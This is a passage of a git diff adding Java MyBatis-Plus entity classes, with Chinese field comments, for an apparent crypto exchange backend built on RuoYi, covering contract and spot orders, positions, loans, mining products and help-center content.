IdType.AUTO) + private Long id; + /** + * 委托类型(0 限价 1 市价) + */ + private Integer delegateType; + /** + * 状态 0 正常 1 删除 2 撤销 + */ + private Integer status; + /** + * 仓位ID + */ + private Long positionId; + /** + * 用户id + */ + private Long userId; + /** + * 止盈触发价 + */ + private BigDecimal earnPrice; + /** + * 止损触发价 + */ + private BigDecimal losePrice; + /** + * 止盈委托价 + */ + private BigDecimal earnDelegatePrice; + /** + * 止损委托价 + */ + private BigDecimal loseDelegatePrice; + /** + * 止盈数量 + */ + private BigDecimal earnNumber; + /** + * 止损数量 + */ + private BigDecimal loseNumber; + /** + * 0 止盈 1止损 + */ + private Long lossType; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + private String symbol; + + private BigDecimal leverage; + + private Integer type; + @TableField(exist=false) + private Map params; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java new file mode 100644 index 0000000..095ef14 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java @@ -0,0 +1,126 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +/** + * U本位委托对象 t_contract_order + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_order") +public class TContractOrder { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * (0 买多 1卖空) + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 3已撤销) + */ + private Integer status; + /** + * 委托总量 + */ + private BigDecimal delegateTotal; + /** + * 委托价格 + */ + private BigDecimal delegatePrice; + /** + * 已成交量 + */ + private BigDecimal dealNum; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 委托价值 + */ + private BigDecimal delegateValue; + /** + * 成交价值 + */ + private BigDecimal dealValue; + /** + * 委托时间 + */ + private Date delegateTime; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 交易币种 + */ + private String coinSymbol; + /** + * 订单编号 + */ + private String orderNo; + /** + * 用户id + */ + private Long userId; + /** + * 手续费 + */ + private BigDecimal fee; + /** + * 基础币种(USDT) + */ + private String baseCoin; + /** + * 杠杆 + */ + private BigDecimal leverage; + /** + * 交易对 + */ + private String symbol; + /** + * 代理IDS + */ + private String adminParentIds; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + @TableField(exist=false) + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java new file mode 100644 index 0000000..c4f585f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java @@ -0,0 +1,166 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +/** + * U本位持仓表对象 t_contract_position + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_position") +public class TContractPosition { + + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id", type = IdType.AUTO) + private Long id; + /** + * 购买类型(0 买多 1卖空)") + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 + */ + private Integer status; + /** + * 保证金 + */ + private BigDecimal amount; + /** + * 持仓数量 + */ + private BigDecimal openNum; + /** + * 开仓均价 + */ + private BigDecimal openPrice; + /** + * 预计强平价 + */ + private BigDecimal closePrice; + /** + * 仓位编号 + */ + private String orderNo; + /** + * 用户id + */ + private Long userId; + /** + * 开仓手续费 + */ + private BigDecimal openFee; + /** + * 杠杆 + */ + private BigDecimal leverage; + /** + * 交易对 + */ + private String symbol; + /** + * 调整保证金 + */ + private BigDecimal adjustAmount; + /** + * 收益 + */ + private BigDecimal earn; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 成交量 + */ + private BigDecimal dealNum; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 卖出手续费 + */ + private BigDecimal sellFee; + /** + * 剩余保证金 + */ + private BigDecimal remainMargin; + /** + * 周期手续费 + */ + private BigDecimal assetFee; + + /** + * 代理IDS + */ + private String adminParentIds; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + //委托价值 + private BigDecimal entrustmentValue; + + //成交价值 + private BigDecimal dealValue; + @TableField(exist = false) + private Map params; + + + //审核状态 0提交 3 待审 1通过 2拒绝 + private Integer auditStatus; + //交割时间 + private Integer deliveryDays; + + //最小保证金 + private BigDecimal minMargin; + + //止盈率 + private BigDecimal earnRate; + + //止损率 + private BigDecimal lossRate; + + //提交平仓时间 + private Date subTime; + + + @TableField(exist = false) + private String userName; + + @TableField(exist = false) + private BigDecimal ureate; + //补仓金额差 + @TableField(exist = false) + private BigDecimal subAmount; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java new file mode 100644 index 0000000..8c5af40 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币币交易订单对象 t_currency_order + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_currency_order") +public class TCurrencyOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * (0 买入 1卖出) + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 3已撤销) + */ + private Integer status; + /** + * 订单编号 + */ + private String orderNo; + /** + * 交易币种 + */ + private String symbol; + /** + * 结算币种 + */ + private String coin; + /** + * 手续费 + */ + private BigDecimal fee; + /** + * 委托总量 + */ + private BigDecimal delegateTotal; + /** + * 委托价格 + */ + private BigDecimal delegatePrice; + /** + * 已成交量 + */ + private BigDecimal dealNum; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 委托价值 + */ + private BigDecimal delegateValue; + /** + * 成交价值 + */ + private BigDecimal dealValue; + /** + * 委托时间 + */ + private Date delegateTime; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 用户id + */ + private Long userId; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 后台代理id + */ + private String adminParentIds; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java new file mode 100644 index 0000000..676a53a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java @@ -0,0 +1,134 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.Transient; + +/** + * 币币交易币种配置对象 t_currency_symbol + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_currency_symbol") +public class TCurrencySymbol extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 交易对 + */ + private String symbol; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 交易币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + /** + * 手续费率 + */ + private BigDecimal feeRate; + /** + * 交易币种精度 + */ + private Integer coinPrecision; + /** + * 结算币种精度 + */ + private Integer basePrecision; + /** + * 最低卖单价 + */ + private BigDecimal sellMin; + /** + * 最高买单价 + */ + private BigDecimal buyMax; + /** + * 最小下单量 + */ + private BigDecimal orderMin; + /** + * 最大下单量 + */ + private BigDecimal orderMax; + /** + * 启用禁用 1=启用 2=禁用 + */ + private String enable; + /** + * 前端是否显示 1=显示 2=隐藏 + */ + private String isShow; + /** + * 是否可交易 1=是 2=否 + */ + private String isDeal; + /** + * 市价买 1=可以 2=不可以 + */ + private String marketBuy; + /** + * 市价卖 1=可以 2=不可以 + */ + private String marketSell; + /** + * 限价买 1=可以 2=不可以 + */ + private String limitedBuy; + /** + * 限价卖 1=可以 2=不可以 + */ + private String limitedSell; + /** + * 图标 + */ + private String logo; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 交易所 + */ + private String market; + + + + @TableField(exist = false) + private Integer isCollect; + + @TableField(exist = false) + private BigDecimal amount; + + /** + * 最小卖出数量 + */ + private BigDecimal minSell; + @TableField(exist = false) + private BigDecimal open; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java new file mode 100644 index 0000000..7f0dce5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java @@ -0,0 +1,88 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币种兑换记录对象 t_exchange_coin_record + * + * @author ruoyi + * @date 2023-07-07 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_exchange_coin_record") +public class TExchangeCoinRecord extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * $column.columnComment + */ + private String fromCoin; + /** + * $column.columnComment + */ + private String toCoin; + /** + * 用户id + */ + private Long userId; + /** + * +用户名称 + */ + private String username; + /** + * 用户地址 + */ + private String address; + /** + * 兑换状态0:已提交;1:成功;2失败 + */ + private Integer status; + /** + * 金额 + */ + private BigDecimal amount; + /** + * 三方汇率 + */ + private BigDecimal thirdRate; + /** + * 系统汇率 + */ + private BigDecimal systemRate; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 后台代理id + */ + private String adminParentIds; + + + public String getExchangeType(){ + return this.fromCoin+this.toCoin; + } + + @JsonIgnore + public String getFromToRemark() { + return String.format("%s转%s,三方汇率:%s,系统汇率:%s", fromCoin, toCoin, thirdRate, systemRate); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java new file mode 100644 index 0000000..2e0a32f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 帮助中心对象 t_help_center + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_help_center") +public class THelpCenter extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 语言 + */ + private String language; + /** + * 1=启用 2=禁用 + */ + private String enable; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + /** + * $column.columnComment + */ + private String showSymbol; + + @TableField(exist = false) + private List infoList; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java new file mode 100644 index 0000000..1160081 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java @@ -0,0 +1,60 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 帮助中心问题详情对象 t_help_center_info + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_help_center_info") +public class THelpCenterInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 帮助中心主键id + */ + private Long helpCenterId; + /** + * 标题 + */ + private String question; + /** + * 内容 + */ + private String content; + /** + * 语言 + */ + private String language; + /** + * 1=启用 2=禁用 + */ + private String enable; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + /** + * $column.columnComment + */ + private String showSymbol; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java new file mode 100644 index 0000000..b41c714 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 规则说明对象 t_home_setter + * + * @author ruoyi + * @date 2023-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_home_setter") +public class THomeSetter extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 作者 + */ + private String author; + /** + * 内容 + */ + private String content; + /** + * 图片地址 + */ + private String imgUrl; + /** + * 排序 + */ + private Long sort; + /** + * 是否展示 0展示 2不展示 + */ + private String isShow; + /** + * 语言 + */ + private String languageName; + /** + * 点赞数 + */ + private Integer likesNum; + /** + * 类型(0 首页文本 1 问题列表) + */ + private Integer homeType; + /** + * 功能(0=首页 1=defi挖矿 2=助力贷) + */ + private Integer modelType; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java new file mode 100644 index 0000000..d76f88e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java @@ -0,0 +1,118 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 贷款订单对象 t_load_order + * + * @author ruoyi + * @date 2023-07-14 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_load_order") +public class TLoadOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 贷款商品表id + */ + private Long proId; + /** + * 用户id + */ + private Long userId; + /** + * 贷款金额 + */ + private BigDecimal amount; + /** + * 贷款利率 + */ + private BigDecimal rate; + /** + * 利息 + */ + private BigDecimal interest; + /** + * 0=待审核 1=审核通过 2=审核拒绝 3=已结清 4=已逾期 + */ + private Integer status; + /** + * 最后还款日 + */ + private Date finalRepayTime; + /** + * 放款日期 + */ + private Date disburseTime; + /** + * 还款日期 + */ + private Date returnTime; + /** + * 审批金额 + */ + private BigDecimal disburseAmount; + /** + * 后台代理ids + */ + private String adminParentIds; + /** + * 手持身份证 + */ + private String cardUrl; + /** + * 身份证正面 + */ + private String cardBackUrl; + /** + * 身份证反面 + */ + private String capitalUrl; + /** + * $column.columnComment + */ + private String licenseUrl; + /** + * $column.columnComment + */ + private String orderNo; + /** + * 还款周期 + */ + private Integer cycleType; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 逾期利息 + */ + @TableField(exist = false) + private BigDecimal lastInstets; + /** + *逾期天数 + */ + private Integer days; + + @TableField(exist = false) + private TLoadProduct tLoadProduct; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java new file mode 100644 index 0000000..bfc563a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 借贷产品对象 t_load_product + * + * @author ruoyi + * @date 2023-07-13 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_load_product") +public class TLoadProduct extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 贷款最小额度 + */ + private BigDecimal amountMin; + /** + * 贷款最大额度 + */ + private BigDecimal amountMax; + /** + * 周期类型 0-7天 1-14天 2-30天 ,,,,待补充 + */ + private Long cycleType; + /** + * 还款类型 0-到期一次换本息...待补充 + */ + private Long repayType; + /** + * 状态 0 未开启 1已开启 + */ + private Long status; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 日利率(%) + */ + private BigDecimal odds; + /** + * 还款机构 + */ + private String repayOrg; + /** + * 是否冻结 1=正常 2=冻结 + */ + private String isFreeze; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java new file mode 100644 index 0000000..4c9815f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java @@ -0,0 +1,123 @@ +package com.ruoyi.bussiness.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.Id; + +/** + * 支持交易所对象 t_markets + * + * @author ruoyi + * @date 2023-06-26 + */ +public class TMarkets extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 交易所名称(ID) */ + @Id + private String slug; + + /** 交易所全称 */ + @Excel(name = "交易所全称") + private String fullname; + + /** 交易所官网链接 */ + @Excel(name = "交易所官网链接") + private String websiteUrl; + + /** 状态: [enable, disable]. disable为停止更新数据 */ + @Excel(name = "状态: [enable, disable]. disable为停止更新数据") + private String status; + + /** 是否接入K线数据 */ + @Excel(name = "是否接入K线数据") + private Boolean kline; + + /** 是否支持现货 */ + @Excel(name = "是否支持现货") + private Boolean spot; + + /** 是否支持期货 */ + @Excel(name = "是否支持期货") + private Boolean futures; + + public void setSlug(String slug) + { + this.slug = slug; + } + + public String getSlug() + { + return slug; + } + public void setFullname(String fullname) + { + this.fullname = fullname; + } + + public String getFullname() + { + return fullname; + } + public void setWebsiteUrl(String websiteUrl) + { + this.websiteUrl = websiteUrl; + } + + public String getWebsiteUrl() + { + return websiteUrl; + } + public void setStatus(String status) + { + this.status = status; + } + + public String getStatus() + { + return status; + } + public void setKline(Boolean kline) + { + this.kline = kline; + } + + public Boolean getKline() + { + return kline; + } + public void setSpot(Boolean spot) + { + this.spot = spot; + } + + public Boolean getSpot() + { + return spot; + } + public void setFutures(Boolean futures) + { + this.futures = futures; + } + + public Boolean getFutures() + { + return futures; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("slug", getSlug()) + .append("fullname", getFullname()) + .append("websiteUrl", getWebsiteUrl()) + .append("status", getStatus()) + .append("kline", getKline()) + .append("spot", getSpot()) + .append("futures", getFutures()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java new file mode 100644 index 0000000..aee5b27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_financial + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_financial") +public class TMineFinancial extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 图标 + */ + private String icon; + /** + * 启用禁用(展示在前端)1开0关 + */ + private Long status; + /** + * 天数(如 7,10,30) + */ + private String days; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 最小日利率百分比 + */ + private BigDecimal minOdds; + /** + * 最大日利率百分比 + */ + private BigDecimal maxOdds; + /** + * 每人限购次数,0表示不限 + */ + private Long timeLimit; + /** + * 最小金额 + */ + private BigDecimal limitMin; + /** + * 最大金额 + */ + private BigDecimal limitMax; + /** + * 是否热销1是0否 + */ + private Long isHot; + /** + * 排序 + */ + private Long sort; + /** + * 购买次数 + */ + private Long buyPurchase; + /** + * 日平均利率 + */ + private BigDecimal avgRate; + /** + * 币种 + */ + private String coin; + /** + * 分类(0 普通 1 vip 2 增值) + */ + private String classify; + /** + * 平台基础投资金额 + */ + private BigDecimal basicInvestAmount; + /** + * 平台总投资额 + */ + private BigDecimal totalInvestAmount; + /** + * VIP等级 + */ + private Long level; + /** + * 项目进度 + */ + private BigDecimal process; + /** + * 剩余金额 + */ + private BigDecimal remainAmount; + /** + * 已购金额 + */ + private BigDecimal purchasedAmount; + /** + * 常见问题 + */ + private String problem; + /** + * 产品介绍 + */ + private String prodectIntroduction; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java new file mode 100644 index 0000000..4bf6aed --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java @@ -0,0 +1,125 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_order + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_order") +public class TMineOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 地址 + */ + private String adress; + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 投资期限(天) + */ + private Long days; + /** + * 0 收益 1 结算 2 赎回 + */ + private Long status; + /** + * 项目id + */ + private Long planId; + /** + * 项目名称 + */ + private String planTitle; + /** + * 订单编号 + */ + private String orderNo; + /** + * 到期时间 + */ + private Date endTime; + /** + * 结算时间 + */ + private Date settleTime; + /** + * 累计收益 + */ + private BigDecimal accumulaEarn; + /** + * 最小利率 + */ + private BigDecimal minOdds; + /** + * 最大利率 + */ + private BigDecimal maxOdds; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 后台用户id + */ + private String adminUserIds; + /** + * 币种 + */ + private String coin; + /** + * 币种 + */ + private BigDecimal avgRate; + /** + * 0 质押挖矿 1 非质押挖矿 + */ + private Long type; + /** + * $column.columnComment + */ + private String collectionOrder; + /** + * $column.columnComment + */ + private Long userId; + /** + * $column.columnComment + */ + private BigDecimal orderAmount; + + //业务字段 + /** + * 结算类型 1 指定天数 2 每日 3 产品到期结算 + */ + @TableField(exist = false) + private Integer settlementType; + /** + * 结算日期 1-31 + */ + @TableField(exist = false) + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java new file mode 100644 index 0000000..5c2d054 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_order_day + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_order_day") +public class TMineOrderDay extends BaseEntity { + +private static final long serialVersionUID=1L; + + @TableId(value = "id",type = IdType.AUTO) + private Long id; + + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 当日利率 + */ + private BigDecimal odds; + /** + * 收益 + */ + private BigDecimal earn; + /** + * 项目id + */ + private Long planId; + /** + * 订单编号 + */ + private String orderNo; + /** + * 地址 + */ + private String address; + /** + * 0 质押挖矿 1 非质押挖矿 + */ + private Long type; + /** + * 1 待结算 2 结算 + */ + private Integer status; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java new file mode 100644 index 0000000..634c79b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java @@ -0,0 +1,38 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_user + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_user") +public class TMineUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 用户id + */ + private Long userId; + /** + * 挖矿产品id + */ + private Long id; + /** + * 限购次数 + */ + private Long timeLimit; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java 